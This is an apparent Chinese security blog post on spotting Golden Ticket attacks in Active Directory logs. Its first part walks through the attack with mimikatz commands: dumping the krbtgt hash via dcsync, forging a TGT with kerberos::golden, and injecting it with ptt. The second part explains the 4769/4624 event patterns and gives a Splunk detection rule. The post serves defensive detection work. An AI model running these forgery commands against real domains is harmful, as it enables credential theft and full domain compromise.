基于AD Event日志识别黄金票据攻击

01、简介

黄金票据(Golden Ticket)是基于Kerberos认证的一种攻击方式,常用来做域控权限维持。当攻击者获取到域内krbtgt帐户的SID和HASH,就可以随意伪造域内管理员用户,再加上域帐户krbtgt的密码基本不会更改,即使域管修改了密码,攻击者依然可以通过黄金票据获取域管理员权限。

在域环境中,黄金票据无疑是一种特别危险的攻击,是域控权限失陷的特征,基于AD Event日志如何检测黄金票据攻击,我们来研究一下。

02、黄金票据攻击实例

黄金票据(Golden Ticket)的原理就是用krbtgt的hash来伪造TGT,只要拥有了高权限的TGT,就可以发送给TGS换取任意服务的ST。

(1)利用mimikatz在域控服务器导出krbtgt的SID值和哈希值。

lsadump::dcsync /domain:evil.com /user:krbtgt

  

(2)在域用户的服务器上使用mimikatz伪造TGT。

kerberos::golden /admin:administrator /domain:evil.com /sid:S-1-5-21-3269078399-3211204512-295171886 /krbtgt:51a721beadd396571257fd2d825be455 /ticket:golden.kiribi

(3)清空域用户服务器本地票据缓存,导入伪造的黄金票据。

kerberos::purge  #清空本地票据缓存
kerberos::ptt golden.kiribi #导入伪造的黄金票据 
kerberos::list   #重新查看本地保存的票据

(4)查看域控服务器的目录

03、黄金票据攻击检测

从kerberos认证流程来看,正常的用户认证登录生成对应的日志是:4768(请求TGT) -->4769(请求TGS)--> 4624(登录帐户),但是由于黄金票据攻击已经离线生成了TGT,跳过了请求TGT这一步,日志里只会有 4769(请求TGS)-->4624(登录帐户),我们重点来看一下这两条日志里对应的具体的值。

当注入黄金票据访问服务,会出现两次4769的事件,其中第一个4769事件请求的ServiceName是WIN-DC01$,第二个4769事件请求的krbtgt服务,伴随着还有登录用户和来源ip地址。

4624事件:记录了黄金票据伪造的帐户名ceshi在192.168.28.20通过kerberos进行网络登录,这里的帐户与SID并不一致,500代表了域管帐户,SID以500结尾可作为特征,通过帐户与SID的对应关系,可以找到伪造的用户,但是如果用户伪造的是administrator用户就可以绕过检测,所以需要把登录IP地址作为判定条件。

 

黄金票据攻击检测规则:

eventtype=wineventlog_security EventCode=4624  LogonType=3 LogonProcessName=Kerberos Security_ID IN("*-500")  
| eval Account_Domain=mvindex(Account_Domain,1) 
| eval Security_ID=mvindex(Security_ID,1)| stats   earliest(_time) AS start_time latest(_time) AS end_time count by EventCode LogonProcessName src dest match_user Account_Domain Security_ID
| join  type=inner match_user src Account_Domain  [search eventtype=wineventlog_security  EventCode=4769  OR EventCode=4768  |rex field=Client_Address "(?P<src>\d+.\d+.\d+.\d+)" | eval  match_user=mvindex(split(match_user,"@"),0)| stats  dc(EventCode) as dc_eventcode values(Service_Name) as val_Service_Name  count as cnt2 by  src Account_Domain  match_user Keywords ] | eval  start_time=strftime(start_time,"%F %T"),end_time=strftime(end_time,"%F %T")| table  start_time   end_time EventCode LogonProcessName src  match_user  dest   Account_Domain  Security_ID  val_Service_Name   Keywords

实时告警效果如下:

posted @ 2022-12-19 15:30  Bypass  阅读(346)  评论(0编辑  收藏  举报